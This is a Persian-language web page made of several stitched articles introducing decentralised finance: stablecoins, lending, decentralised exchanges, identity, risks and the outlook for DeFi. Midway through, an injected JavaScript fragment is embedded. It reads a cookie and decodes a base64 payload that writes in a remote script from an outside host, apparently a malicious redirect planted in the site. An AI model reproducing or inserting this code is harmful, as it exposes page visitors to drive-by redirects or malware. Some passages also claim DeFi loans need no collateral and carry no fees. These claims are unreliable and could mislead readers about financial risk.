با خدمات مالی غیر متمرکز آشنا شوید

دیفای

امور مالی غیر متمرکز

Defi که مخفف DECENTRALIZED FINANCE است، به امور مالی غیر متمرکز گفته می شود. در امور مالی غیر متمرکز سعی می شود تا واسطه ها با خودکار سازی جایگزین شوند. خودکار سازی قابلیت های دیگری را به وجود می اورد. DEFI را می توان در هر پلتفرم هوشمندی اجرا کرد. در حل حاضر اتریوم، در حال کار روی این زمینه است.
مقاله ای که می خوانید برگرفته از مقاله ای است که توسط لیندازی نوشته شده است. او از افراد مشهور و فعال در زمینه ی رمزارزهاست. او موسس SCALAR CAPITAL می باشد. پیشتر نیز به عنوان مدیر کنترل کیفیت در کوین بیس و مدیر تحلیل ریسک در AIG مشغول بود. لیندازی فارغ التحصیل دانشگاه سن دیگو با مدرک کارشناسی اقتصاد می باشد.

در ادامه مطالب زیر را می خوانید :

• استیبل کوین ها STABLE COINSهمان گونه که از معنای لغوی این کلمه پیداست، استیبل کوین ها نوسان قیمت زیادی ندارند. ارزش این ارزها وابسته به ارزش یکی دیگر از ارزهای فیات مانند دلار می باشد.
• وام دهی به صورت غیر متمرکز با استفاده از بلاک چین و بدون نیاز به حساب بانکی
• صرافی های غیرمتمرکز برای خرید و فروش ارزهای دیجیتال – با وجود صرافی های غیرمتمرکز دیگر احتیاجی به صرافی های متمرکز نیست.
• استفاده از دارایی های دیجیتال به عنوان وثیقه . دلیل این امر جلوگیری از سوء استفاده و جبران خسارات احتمالی برای مواقعی است که وام گیرنده اقساط ش را پرداخت نکند.

استفاده از هویت افراد، در قراردادهای هوشمند این روش احراز هویتی است که به صورت غیرمتمرکز انجام می گیرد.
• ترکیب کردن قراردادهای هوشمند با اهداف و اعمال متفاوت
• مدیریت کردن ریسک در مفاهیم و معاملاتی که به شکل غیر متمرکز انجام می گیرد. ابزارهای زیادی برای کنترل و مدیریت این ریسک ها طراحی شده است.

در زیر به شرح مفاهیم گفته شده می پردازیم:

استیبل کوین ها چه هستند؟

فرض کنید می خواهید در بلاک چین وام دریافت کنید. مطمئنا دلتان نمی خواهد مبلغی که دریافت می کنید تحت تاثیر نوسانات باشد. این جا از مواردی است که کاربرد استیبل کوین ها به چشم می آید.

استیبل کوین ها به سه دسته ی عمده تقسیم می شوند:

۱٫ استیبل کوین هایی که متمرکز هستند و وثیقه ی مربوط به آن ها از طریق ارز فیات پیس بینی شده است.

در این استیبل کوین ها، به تعداد توکن هایی که صادر شده، پشتیبان فیات آن در نظر گرفته می شود. نسبت این دو به یک دیگر یک به یک است. مزیت این استیبل کوین در این است که اگر به مشکلی بربخورید یک نهاد پاسخ گو وجود دارد. این خیال شما را راحت می کند. به عنوان مثال USDC از این دسته می باشد.

۲٫ استیبل کوین هایی که غیرمتمرکز هستند و وثیقه ی آن ها با ارزهای دیجیتال پیش بینی شده است.

توکن هایی که برای این دسته صادر شده است توسط ارزهای دیجیتال مورد پشتیبانی قرار می گیرد. همان طور که می دانید ارزهای دیجیتال نوسانات بالایی دارند. مثلا DAI با پشتیبانی اتریوم ساخته شده است. برای استفاده از این دسته، نیاز به اقدام خاص یا اجازه گرفتن از نهاد دولتی یا خصوصی و… نمی باشد.

مثلا برای این که ۲۰۰ دلار DAI دریافت نمایید باید دو برابر آن یعنی ۴۰۰ دلار اتریوم به عنوان وثیقه پرداخت کنید. اگر ارزش اتریوم بیشتر شود که هیچ، اما اگر ارزش آن پایین بیاید اتریوم ها نقد می شود. با این کار جلوی ضرر و زیان در سیستم وام دهی را می گیرند.
در رابطه با DAI می توان گفت که سیستم آن واقعا پیچیده است. کاربران عادی نیازی به سروکار داشتن با این پیچیدگی ها ندارند. از جمله ریسک های DAI می توان به ریسک در قراردادهای هوشمند و نیز ریسک معامله با توجه به بالا یا پایین رفتن دلار اشاره نمود.

۳٫ استیبل کوین هایی که غیرمتمرکز و الگوریتمی هستند.
برای این استیبل کوین ها وثیقه در نظر گرفته نمی شود. الگوریتم ها این دسته را کنترل کرده و نوسانات آن ها را مدیریت می کنند. مثلا BASIS یکی از انواع این استیبل کوین ها بود. BASIS قبل از این که راه اندازی شود توقیف شد. مشکل موجود در رابطه با این دسته، احتمال حمله است. حمله ای که ممکن است کل سیستم را از کار بیندازد.
دو دسته ی اول از استیبل کوین ها که توضیح آن گذشت، مورد توجه هستند و گرایش عمومی به آن ها زیاد است. در مورد دسته ی سوم آزمایش ها و تحقیقاتی در حال انجام است. تعدادی بر این باورند که ترکیب استیبل کوین های دسته ی یک و دو نتیجه مطلوبی خواهد داشت. در مورد دسته ی سوم همان طور که گفته شد مشکلاتی نیز وجود دارد اما با این حال، الگوریتم های مدیریتی این دسته به خوبی از عهده ی نوسانات قیمت آن برمی آیند.

وام دهی غیر متمرکز چیست؟

استیبل کوین ها باعث می شوند نگاه تازه ای به سیستم های مالی داشته باشیم و به امور مالی به صورت غیرمتمرکز بیاندیشیم. از اساسی ترین مفاهیمی که در این زمینه وجود دارد وام است. قراردادهای هوشمند در این حالت کارشان را انجام داده و وام دهنده و وام گیرنده را به یک دیگر ارتباط می دهند. میزان عرضه و تقاضا، بهره ی وام را مشخص می کند. این کار را خود قراردادهای هوشمند انجام می دهند.

آیا می دانید bitfinex چگونه کار می کند؟

بد نیست با نحوه ی قرض گرفتن و قرض دادن در برخی صرافی ها آشنا شوید. بیتفینکس ستون هایی برای قرض دهندگان و قرض گیرندگان در نظر گرفته است. افراد در ستون های مخصوص به خودشان شرایط را درج می کنند، مثلا میزان وام درخواستی، میزان بهره و… سپس بیتفینکس این افراد را به یک دیگر ربط می دهد و کارمزد خودش را نیز دریافت می کند.

در سیستم های غیر متمرکز چگونه عمل می شود؟

در این سیستم ها از لیست سفارش خبری نیست. در این جا با قراردادهای هوشمند سروکار داریم. در این قراردادها بهره ها را بالا و پایین می برند و شرایط را به گونه ای فراهم می آورند که توافق بین دو طرف وام دهنده و وام گیرنده برقرار شود. در این جا باید وثیقه بگذارید و این وثیقه کمی بیشتر از مقدار خود وام است. وثیقه مقداری این کار را مشکل می کند. با این وجود این وام ها مقیاس پذیر هستند و این از دلایل محبوبیت شان است. بهره ی این وام ها در مقایسه با وام های سنتی بیشتر است و ریسک هایی نیز وجود دارد. این ریسک ها شامل باگ های مربوط به قراردادها و نیز نوسانات کریپتو می باشد.

صرافی های غیرمتمرکز چگونه عمل می کنند؟

از بحث های اساسی در مورد امور مالی غیر متمرکز، مباحث مربوط به صرافی های غیر متمرکز است. صرافی هایی که با ارزهای دیجیتال کار می کنند سعی بر این دارند تا بستری برای معاملات دارایی های دیجیتال ایجاد کنند. در صرافی های متمرکز افراد پول خود را به وسط می آورند و به انجام معاملات می پردازند.

صرافی متمرکز نقش واسطه گری دارد و نیز به عنوان نگه با خدمات مالی غیر متمرکز آشنا شوید دارنده ی مبالغ عمل می کند. خطراتی مانند هک شدن از جمله ریسک هایی است که همیشه این صرافی ها را تهدید می کند. صرافی های گفته شده می توانند به کشورهای خاصی اجازه ی فعالیت ندهند.
اما در صرافی های غیر متمرکز اوضاع متفاوت است. در این جا با قراردادهای هوشمند سروکار داریم. واسطه ها حذف می شوند و مبادلات به صورت همتا به همتا صورت می گیرد.

برخی پروژه ها درصدد هستند تا با مبادله ی غیرمتمرکز در زمینه ی اتریوم کار کنند. مثلا uniswap از یک مدل بازار خودکار استفاده می کند. در این مدل نقدینگی با الگوریتم ها فراهم می شود. اکنون معاملات در صرافی هایی که به صورت غیرمتمرکز کار می کنند در مقایسه با معاملات صرافی های متمرکز، حجم پایین تری دارد. تعدادی از صرافی های غیرمتمرکز تنها با توکن های اتریوم کار می کنند. دنیا در حال تلاش است تا این محدودیت ها کم شود. مثلا مبادلات افقی atomic swap از جمله اقداماتی است که در این راستا انجام شده است.

هویت غیر متمرکز چاره گشای بسیاری محدودیت هاست.

پلتفرم هایی که به صورت غیرمتمرکز به اعطای وام می پردازند مشکلاتی دارند. از جمله ی مشکلات گفته شده وثیقه است. وثیقه ی لازم برای وام گرفتن برای بسیاری افراد سنگین است. بسیاری نیز تمایلی ندارند سرمایه ی خود را در این راه بخوابانند. هویت غیر متمرکز راه حلی است که برای این مشکل ارائه شده است. هویت غیر متمرکز یعنی هویت افراد بر روی بلاک چین. با این روش دیگر نیازی به وثیقه نیست. از جنبه های مفید و خلاقانه ی امور مالی غیر متمرکز همین هویت غیر متمرکز است.

همه ی افراد می توانند برای خود هویت غیر متمرکز ایجاد نمایند. مواردی مانند میزان اعتبار شخص در شبکه های اجتماعی، نحوه ی پرداختی وام های قبلی، نظرات کاربران در مورد وی و… به شناخت بیشتر فرد کمک می کند. هویت غیر متمرکز در اوایل مسیر پیاده سازی قرار دارد و باید گفت که راه دراز و پر فراز و نسیبی پیش رو دارد.

در آینده ی نزدیک بسیاری افراد امور مالی شان را به صورت غیر متمرکز انجام خواهند داد. تعداد زیادی از افراد را در نظربگیرید که در حالی که گوشی هوشمند همیشه همراه شان است اما کارت شناسایی ندارند. هویت غیر متمرکز در موارد این چنینی بسیار می تواند کمک کننده باشد.

سازگاری به عنوان مهم ترین مولفه

در یک پلتفرم قراردادی که به صورت هوشمند اجرا می شود سازگاری مولفه ای بسیار مهم است. در مقاصد مالی متفاوت قراردادهای هوشمند باید سازگار و هماهنگ باشند. مثلا وقتی در پلتفرمی بخواهیم قابلیت معامله برای اموال توکنی را فراهم کنیم به پروتکلی برای صرافی غیر متمرکز احتیاج داریم.

به عنوان مثال می توان پروزه ی ۲۱۰۰ را نام برد که در آن رسانه های اجتماعی و امور مالی غیر متمرکز در کنار هم دیگر قرار می گیرند. در این پروژه مشارکت کنندگان می توانند از طریق توئیتر توکن های جدیدی ایجاد کنند. پروژه ی pooltogether نیز وجود دارد که در آن لاتاری و امور مالی غیرمتمرکز ترکیب می شوند. در این پروژه پولی که مشارکت کنندگان در لاتاری گذاشته اند برگردانده می شود. سود بدست آمده به برنده پرداخت می شود و این روش برای افزایش سرعت و انگیزه است.

با تکامل پیدا کردن امور مالی غیرمتمرکز، احتمال آن زیاد است که علاوه بر جامعه ی کریپتو، در زمینه های دیگر نیز مورد استفاده قرار گیرد. مثلا ممکن است یک فروشگاه بتواند علاوه بر موجودی خود از سود نیز استفاده کند. عمل مورد نظر نیازمند نوشتن چند خط برنامه نویسی است.

ریسک ها چه هستند؟

امور مالی غیر متمرکز از فعالیت هایی است که برای بسیاری جذاب است. جذابیت این امور نباید باعث شود که از ریسک های آن غافل شویم.
قراردادهای هوشمند، ریسک زیادی دارند. تمهیدات زیادی هست که باید در این مورد به آن ها توجه شود. هنگامی که چند پروتکل ادغام می شوند در صورتی که یکی از قراردادهای هوشمند مشکل داشته باشد، کل سیستم در معرض خطر است. به این سیستم ها باید با دید احتیاط نگاه کرد. نباید سرمایه گذاری زیادی انجام دهید.

وثیقه گذاشتن نیز ریسک هایی دارد. اگر ارزش دارایی هایی که به عنوان وثیقه گذاشته ایم پایین بیاید، تاثیر بدی در سرمایه ی شما خواهد گذاشت. بسیاری از پلتفرم ها نوسان بالایی در نرخ سود دارند و این امر باعث می شود بسیاری افراد تمایلی برای مشارکت در این زمینه نداشته باشند.

قانون گذاری نیز ریسک هایی دارد. همه ی پلتفرم های امور مالی مقداری عدم تمرکز دارند. جوانب زیادی است که باید در مورد این پلتفرم ها مورد بررسی قرار گیرد.

محافظت در برابر ریسک ها:

برای محافظت در برابر ریسک ها، طرح هایی وجود دارد از جمله بیمه هایی مانند nexus mutual یا convexity
طرح های گفته شده هنوز در آغاز راه هستند و نمی توان انتظار داشت که کاملا با ریسک ها مقابله کنند. در صورتی که امور مالی غیر متمرکز رشد کافی داشته باشد امکان آن هست که بیمه های سنتی هم وارد این فضا شده و محصولاتی برای این دنیا داشته باشند.

function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)

پیش بینی آینده دیفای؛‌ آینده امور مالی غیر متمرکز چه می‌شود؟

برنامه‌های امور مالی غیر متمرکز، برنامه‌هایی هستند که بر اساس بلاکچین فعالیت می‌کنند و نیازی به نظارت نهادها و سازمان‌ها ندارند. امور مالی غیر متمرکز یا “DeFi” که به تازگی در دنیای ارزهای دیجیتال مطرح شده‌اند، قابلیت و خدمات ویژه‌ای را در قالب پروژه‌های مختلف در اختیار کاربران قرار می‌دهند. بسیاری از کارشناسان این حوزه اعتقاد دارند که آینده دیفای با توجه به این پروژه‌ها و تکنولوژی‌هایی که استفاده می‌کند بسیار روشن خواهد بود.

مسیری که دیفای برای پیشرفت خود طی خواهد کرد هنوز تکمیل نشده است. هرچند همین میزان امکانات فعال شده در آن نیز توانسته فضای هیجان‌انگیزی را برای کاربران فراهم کند. آینده امور مالی غیر متمرکز یا همان دیفای تا حد زیادی به شناخته شدن این مفهوم در بازار بین کاربران مختلف، پیشرفت پروژه‌های آن و مواردی از این قبیل بستگی دارد. در ادامه این مقاله به بررسی مفهوم دیفای و آینده آن خواهیم پرداخت.

امور مالی غیر متمرکز

تمام پلتفرم‌ها، پروژه‌ها و خدماتی که به کمک بلاکچین فعالیت می‌کنند و عامل واسطه یا شخص سوم را از امور مالی سنتی حذف می‌کنند، امور مالی غیر متمرکز یا دیفای می‌گویند. دیفای (Decentralized Finance) یا امور مالی غیر متمرکز از لحاظ مفهومی کاملا در نقطه مقابل بازارها و امور مالی سنتی قرار دارد. اگر یک محصول مالی غیر متمرکز را روی شبکه بلاکچین راه‌اندازی کنیم، در واقع یک برنامه غیر متمرکز ایجاد کرده‌ایم. این برنامه‌ها و به طور کلی این سیستم، کنترل و نظارت مؤسسات مالی و بانک‌ها را روی سرمایه کاربران و محصولات مالی از بین خواهد برد.

برای بررسی آینده دیفای بهتر است ابتدا با مفهوم آن به خوبی آشنا شوید. پلتفرم‌های دیفای که انواع مختلفی دارند، امکانات و کاربری‌های خاص و جدیدی را در اختیار کاربران خود قرار می‌دهند که استیکینگ ارز دیجیتال یکی از آن‌ها است. همچنین دریافت وام، ترید و معاملات ارزهای دیجیتال، والت ارز دیجیتال، تولید یک رمز ارز و… جزو محصولات مالی دیگری هستند که با عرضه دیفای دستخوش تغییر شده‌اند. این امکانات باعث می‌شوند تا فعالیت در بازار ارزهای دیجیتال شکل جدیدی داشته باشد.

حرکت امور مالی متمرکز به سمت دیفای

بازارهای مالی موجود که به بازارهای مالی متمرکز معروف هستند عموما فضای محدودی را در اختیار کاربران قرار می‌دهند. کنترل و مدیریتی که سازمان‌ها و نهادهای نظارتی به عنوان شخص ثالث روی دارایی کاربران و فعالیت‌های آن‌ها دارند در برخی مواقع دردسرساز می‌شود. اکثر سرویس‌های مالی متمرکز دارای سرعت پایینی بودند و احتمال خطای انسانی جزو خطراتی بود که همیشه کاربران آن‌ها را تهدید می‌کرد. تمام این موارد جزو اموری هستند که در آینده دیفای بهبود خواهند یافت.

برای مثال می‌توانید وام گرفتن یک کاربر از یکی از بانک‌های مرکزی را تصور کنید. دوندگی زیاد، سرعت پیشروی بسیار پایین، لزوم استفاده از وثیقه، داشتن سرمایه اولیه و… جزو مواردی هستند که ممکن است مانع موفقیت شما شوند. در صورتی که گرفتن وام کریپتو بدون نیاز به داشتن وثیقه و سرمایه اولیه و در مدت زمانی کوتاه از طریق پلتفرم‌های دیفای امکان پذیر خواهد بود. نکته مهمی که در رابطه با بررسی آینده دیفای باید به آن توجه کرد، حذف کارمزدهایی است که سازمان‌ها و نهادهای مالی متمرکز از کاربران خود بابت ارائه خدمات مالی دریافت می‌کنند. لذا شما حین استفاده از خدمات مالی غیر متمرکز مجبور به پرداخت هیچ هزینه اضافی نخواهید بود.

تغییرات امور مالی غیر متمرکز

وام دهی پلتفرم میکردائو (MakerDAO) جزو اولین اتفاقاتی بود که امور مالی غیر متمرکز را بین کاربران دنیای کریپتو بر سر زبان‌ها انداخت. این پروژه اولین پلتفرم غیر متمرکزی بود که توانست طرفداران زیادی پیدا کند و افراد را نسبت به آینده دیفای امیدوار کند. کمی بعد در سال ۲۰۲۰ پلتفرم کامپاند فایننس (Compound Finance) به عنوان یکی دیگر از پلتفرم‌ها ارائه دهنده خدمات مالی غیر متمرکز به مردم معرفی شد.

قابلیت استخراج نقدینگی (Liquidity Mining) یکی از اصلی‌ترین امور مالی غیر متمرکزی بود که در پروژه کامپاند ارائه می‌شود. زمانی که کاربران متوجه شدند بدون نیاز به انجام معاملات سنتی در سیستم‌های بانکی و تنها با ذخیره کردن دارایی خود در پلتفرم‌هایی این چنینی می‌توانند کسب درآمد کنند، نسبت به آینده دیفای نگاه خوش‌بینانه‌تری پیدا کردند. مفهوم ییلد فارمینگ (Yield Farming) نیز در همین راستا ایجاد شد. کاربران با استفاده از این قابلیت می‌توانستند دارایی‌های خود را در پلتفرم‌های دیفای سپرده گذاری کنند و در ازای آن سود و پاداش (توکن بومی همان پلتفرم) دریافت کنند.

کمی بعد از این اتفاقات، مقاله کاملی درباره امور مالی غیر متمرکز، ریسک‌های موجود ، فرصت‌های سرمایه گذاری در آن و به طور کلی آینده دیفای از روزنامه معتبر واشنگتن پست (Washington Post) منتشر شد؛ بنابراین روز به روز افراد بیشتری به فعالیت در این حوزه علاقه‌مند می‌شدند. مخصوصا با وجود قابلیت‌های جذابی مثل استخراج نقدینگی، ییلد فارمینگ، بازی‌های مبتنی بر بلاکچین و … نیز این علاقه در کاربران چند برابر شد.

حدودا در ماه سپتامبر همان سال، گزارش دیگری از طریق مجله معتبر بلومبرگ (Bloomberg) منتشر شد که بیان می‌کرد پروژه‌های دیفای، حدودا دو سوم از بازار ارزهای دیجیتال را از آن خود کرده‌اند. حال در شرایط کنونی، پروژه‌های امور مالی غیر متمرکز در جایگاه خوبی بین کاربران بازار ارزهای دیجیتال قرار دارند و آینده دیفای نیز تصویر روشن خواهد بود.

پروژه‌های حوزه دیفای

انسان با ساخت ارز دیجیتال به فکر ایجاد جایگزینی برای پول سنتی افتاد و حالا با ایجاد امور مالی غیر متمرکز در پروژه‌های مختلف به فکر ایجاد جایگزینی برای سیستم سنتی بانکداری افتاده است. اگر پروژه‌ها و کاربردهای امور مالی غیرمتمرکز را به خوبی بشناسید و با کارکرد آن‌ها آشنا باشید، نگاه بازتر و درست‌تری به آینده دیفای خواهید داشت. به طور کلی پروژه‌های دیفای شامل این چند دسته می‌شوند:

• صرافی‌های غیرمتمرکز ارز دیجیتال
• پلتفرم‌های وام دهی
• پلتفرم‌های سپرده گذاری و ییلد فارمینگ
• پلتفرم‌های پیش بینی

درباره پلتفرم‌های سپرده گذاری کمی قبل صحبت کردیم. صرافی‌های غیر متمرکز نیز که در مقابل صرافی‌های متمرکزی مثل بایننس (Binance) قرار دارند، تحت نظارت و مدیریت هیچ نهاد یا سازمانی نیستند. این صرافی‌های می‌توانند به طور مستقیم به یکدیگر وصل شوند و معاملات ارزی خود را با یکدیگر انجام دهند. یکی از مشکلات این پلتفرم‌ها، مشکل تأمین امنیت آن‌ها است که در پروژه‌های دیفای ۲ در حال بهبود یافتن است.

در این صرافی‌ها والت ارزی شما به طور مستقیم به آن‌ها وصل می‌شود و به عبارتی اختیار صفر تا صد اموالتان از همان ابتدا با خودتان خواهد بود. به همین دلیل است که آینده دیفای را پیشرفت این پروژه‌ها و میزان محبوبیتشان بین کاربران تعیین خواهد کرد. مهم‌ترین صرافی‌های غیر متمرکز عبارت‌اند از:

• سوشی سواپ (SushiSwap)
• یونس سواپ (UniSwap)
• کرو (Curve)

پلتفرم‌های وام دهی

در پلتفرم‌های وام دهی کاربران به دو دسته وام دهنده و وام گیرنده تقسیم می‌شوند. شما می‌توانید برای کسب درآمد، سرمایه خود را به عنوان قرض در اختیار کاربران دیگر قرار دهید و در ازای آن سود دریافت کنید. ضمن اینکه برای وام گرفتن نیازی به وثیقه ندارید و مراحل انجام آن نیز به سرعت طی می‌شود. با وجود جذابیت‌های این چنینی می‌توان از آینده دیفای و موفقیت آن مطمئن شد. مهم‌ترین پلتفرم‌های وام دهی شامل این موارد می‌شود:

پلتفرم‌های پیش بینی

استفاده از پلتفرم‌های پیش بینی برای افرادی که به تحلیل و بررسی رفتار رمز ارزها در بازار ارزهای دیجیتال علاقه دارند به شدت توصیه می‌شود. در این پروژه‌ها کاربران می‌توانند روی اتفاقات آینده دنیای کریپتوکارنسی شرط‌بندی کنند. البته هنگام بررسی آینده دیفای متوجه خواهید شد که جایگاه این پلتفرم‌ها در آینده بین کاربران پیشرفت چشمگیری خواهد داشت. مهم‌ترین پروژه‌های دیفای در این زمینه عبارت‌اند از:

• آگر (Augur)
• جی نوسیس (Gnosis)
• اف تی اکس (FTX)

آینده امور مالی جهانی با حضور دیفای

به طور کلی برای پیش بینی آینده دیفای از شاخصی تحت عنوان ارزش کل قفل شده (TVL) استفاده می‌شود. با استفاده از این شاخص می‌توان میزان سرمایه گذاری در پروژه‌های مختلف دیفای را فهمید. شاخص TVL ابتدای سال ۲۰۲۰ چیزی حدود ۶۰۱ میلیون دلار بود. اکنون که در سال ۲۰۲۲ هستیم این شاخص عدد ۲۳۹ میلیارد دلار را نشان می‌دهد. با یک محاسبه ریاضی ساده می‌توان متوجه رشد ۵۰ هزار درصدی میزان سرمایه گذاری در پلتفرم‌های دیفای خواهید شد.

آینده دیفای با توجه به خلاقیت‌هایی که پروژه‌های فعال در این زمینه برای سرمایه گذاری کاربران استفاده می‌کنند، آینده‌ای هیجان‌انگیز و روشن خواهد بود. امور مالی غیر متمرکز با وجود اینکه هنوز در مراحل اولیه خود قرار دارد از پتانسیل زیادی برخوردار است. این خدمات در آینده پیشرفت می‌کنند و راه‌های جدیدی برای کالایی کردن داده‌های مختلف فراهم می‌کنند. البته رسیدن به تمام این موفقیت‌ها در آینده دیفای، نیازمند طی کردن مسیری طولانی خواهد بود.

ماهیت امور مالی غیر متمرکز بر اساس تمرکززدایی تعریف می‌شود. آینده دیفای در جهت افزایش استقلال کاربران روی دارایی‌ها و امور مالی خود شکل خواهد گرفت. به همین دلیل است که پروژه‌هایی که در این حوزه فعالیت می‌کنند عموما برای کاربران جذابیت زیادی دارند.

بیشتر بدانیم امور مالی غیرمتمرکز DeFi

DeFi به کاربران امکان می‌دهد به خدمات مالی ارز دیجیتال فقط با یک کیف پول با مقداری ارز دیجیتال دسترسی داشته باشند. طیف وسیعی از DApp ها وام دادن، تامین نقدینگی، سوآپ، سهامداری و موارد دیگر را در بسیاری از بلاک چین ها تسهیل می کند.

در حالی که اتریوم خانه اصلی DeFi بود، اکثر بلاک چین‌های دارای قابلیت قرارداد هوشمند اکنون میزبان DeFi DApps هستند. قراردادهای هوشمند برای خدماتی که DeFi ارائه می‌کند ضروری است، که شامل سهام‌بندی، سرمایه‌گذاری، وام دادن، برداشت و موارد دیگر می‌شود.

تا کنون، DeFi به مردم این امکان را می‌دهد تا بازدهی خود را بهینه کنند، به بازارهای غیرمتمرکز بپیوندند، به خدمات بانکی دسترسی داشته باشند و در وام‌گیری و وام سریع شرکت کنند. با این حال، DeFi خالی از خطر نیست، و همیشه باید قبل از ریسک کردن، در مورد هر پروژه با دقت تحقیق کنید.

بیشتر بدانیم امور مالی غیرمتمرکز DeFi – تامین مالی غیرمتمرکز دیفای چیست؟

مقدمه

ورود به دنیای DeFi می تواند برای بسیاری هیجان انگیز باشد اما همچنین گیج کننده است.

برنامه ها و پروژه های DeFi می توانند به ابزارهای قدرتمندی تبدیل شوند. اما اگر خیلی زود وارد کار شوید، به راحتی می توانید غرق شوید و تصمیمات سرمایه گذاری غیرعاقلانه بگیرید. بهترین راه برای درگیر شدن این است که خطرات را بیاموزید و آنچه را که برای شما مناسب است بیابید. با در نظر گرفتن این موضوع، بیایید اصولی را که هنگام شروع سفر DeFi خود به آن نیاز دارید، بررسی کنیم.

تامین مالی غیرمتمرکز (DeFi) چیست؟

امور مالی غیرمتمرکز (یا به سادگی DeFi) به اکوسیستمی از برنامه های مالی که بر روی شبکه های بلاک چین ساخته شده اند اشاره دارد.

به طور خاص، اصطلاح DeFi ممکن است به جنبشی اشاره کند که هدف آن ایجاد یک اکوسیستم خدمات مالی منبع باز، بدون مجوز و شفاف است. یکی که در دسترس همه است و بدون هیچ مرجع مرکزی عمل می کند. کاربران کنترل کامل بر دارایی های خود را حفظ می کنند و با این اکوسیستم از طریق همتا به همتا (P2P) و برنامه های غیرمتمرکز (DApps) تعامل خواهند داشت .

مزیت اصلی DeFi امکان دسترسی آسان به خدمات مالی است، به ویژه برای کسانی که از سیستم مالی سنتی جدا شده اند. یکی دیگر از مزایای DeFi چارچوب ماژولار است که بر اساس آن ساخته شده است، با برنامه های کاربردی DeFi قابل کار بر روی بلاک چین های عمومی. اینها پتانسیل ایجاد بازارهای مالی، محصولات و خدمات کاملاً جدید را دارند.

مزایای اصلی DeFi چیست؟

امور مالی سنتی به نهادهایی مانند بانک‌ها برای ایفای نقش به عنوان واسطه و دادگاه‌ها برای ارائه داوری متکی است.

برنامه های DeFi به هیچ واسطه یا داوری نیاز ندارند. این کد حل و فصل هر اختلاف احتمالی را مشخص می کند و کاربران همیشه بر وجوه خود کنترل دارند. این اتوماسیون هزینه های مربوط به تهیه و استفاده از این محصولات را کاهش می دهد و امکان سیستم مالی بدون اصطکاک را فراهم می کند.

همانطور که این خدمات مالی جدید در بالای بلاک چین ها مستقر می شوند، نقاط شکست منفرد حذف می شوند. داده ها بر روی بلاک چین ثبت می شوند و در هزاران گره پخش می شوند و سانسور یا خاموش شدن بالقوه یک سرویس را به یک کار پیچیده تبدیل می کنند.

مزیت مهم دیگر چنین اکوسیستم باز، سهولت دسترسی برای افرادی است که در غیر این صورت به هیچ خدمات مالی دسترسی نداشتند. از آنجایی که سیستم مالی سنتی بر سودآوری واسطه ها متکی است، خدمات آنها معمولاً در مکان هایی با جوامع کم درآمد وجود ندارد. با این حال، با DeFi، هزینه ها به طور قابل توجهی کاهش می یابد و افراد کم درآمد نیز می توانند از طیف گسترده تری از خدمات مالی بهره مند شوند.

موارد استفاده بالقوه برای DeFi چیست؟

قرض و قرض دادن

پروتکل های وام باز یکی از محبوب ترین انواع برنامه ها در اکوسیستم DeFi هستند. استقراض و وام دهی آزاد، غیرمتمرکز مزایای زیادی نسبت به سیستم اعتباری سنتی دارد. اینها شامل تسویه فوری تراکنش، عدم بررسی اعتبار، و امکان وثیقه کردن دارایی های دیجیتال، عدم وجود چک اعتباری است.

از آنجایی که این خدمات وام دهی بر روی بلاک چین های عمومی ساخته شده اند، میزان اعتماد مورد نیاز را به حداقل می رسانند و از روش های تأیید رمزنگاری اطمینان دارند. بازارهای وام دهی در بلاک چین ریسک طرف مقابل را کاهش می دهند و وام و وام را ارزان تر، سریع تر و در دسترس افراد بیشتری قرار می دهند.

خدمات بانکی پولی

از آنجایی که برنامه‌های DeFi، طبق تعریف، برنامه‌های مالی هستند، خدمات بانکی پولی یک مورد استفاده آشکار برای آنها است. این موارد می تواند شامل صدور استیبل کوین ، وام مسکن و بیمه باشد.

همانطور که صنعت بلاک چین به بلوغ می رسد، تمرکز بیشتری روی ایجاد استیبل کوین ها وجود دارد. آن‌ها دارایی‌های رمزنگاری هستند که معمولاً به دارایی‌های دنیای واقعی متصل می‌شوند که به راحتی قابل انتقال دیجیتالی هستند. از آنجایی که قیمت ارزهای دیجیتال می‌تواند به سرعت در برخی مواقع نوسان کند، استیبل کوین‌های غیرمتمرکز می‌توانند برای استفاده روزمره به‌عنوان ارزهای دیجیتالی که توسط یک مقام مرکزی منتشر و نظارت نمی‌شوند، استفاده شوند.

به دلیل تعدد واسطه ها، گرفتن وام مسکن پرهزینه و زمان بر است. با قراردادهای هوشمند ، هزینه های تعهدنامه و حقوقی می تواند به میزان قابل توجهی کاهش یابد.

بیمه در بلاک چین می تواند نیاز به واسطه ها را از بین ببرد و امکان توزیع ریسک بین بسیاری از شرکت کنندگان را فراهم کند. این می تواند منجر به حق بیمه کمتر با همان کیفیت خدمات شود.

بازارهای غیر متمرکز

برخی از محبوب ترین برنامه های کاربردی DeFi موجود، صرافی های غیرمتمرکز (DEX) هستند، مانند Binance DEX. این پلتفرم‌ها به کاربران اجازه می‌دهند تا دارایی‌های دیجیتال را بدون نیاز به یک واسطه قابل اعتماد ( صرافی ) برای نگهداری وجوه خود معامله کنند. معاملات به طور مستقیم بین کیف پول های کاربران با کمک قراردادهای هوشمند انجام می شود.

برخی از صرافی‌ها که به نام بازارسازان خودکار (AMM) شناخته می‌شوند ، از استخرهای نقدینگی برای تسهیل تجارت بدون نیاز مستقیم به طرف مقابل برای مطابقت با تجارت شما استفاده می‌کنند. Uniswap و Pancake Swap دو نمونه از شناخته شده ترین نمونه ها هستند. از آنجایی که صرافی‌های غیرمتمرکز به کار نگهداری و مدیریت کمتری نیاز دارند، معمولاً کارمزد معاملاتی کمتری نسبت به صرافی‌های متمرکز دارند.

همچنین ممکن است از فناوری بلاک چین برای صدور و اجازه مالکیت طیف وسیعی از ابزارهای مالی متعارف استفاده شود. این برنامه‌ها به روشی غیرمتمرکز کار می‌کنند که حافظان را حذف می‌کند و نقاط شکست را حذف می‌کند.

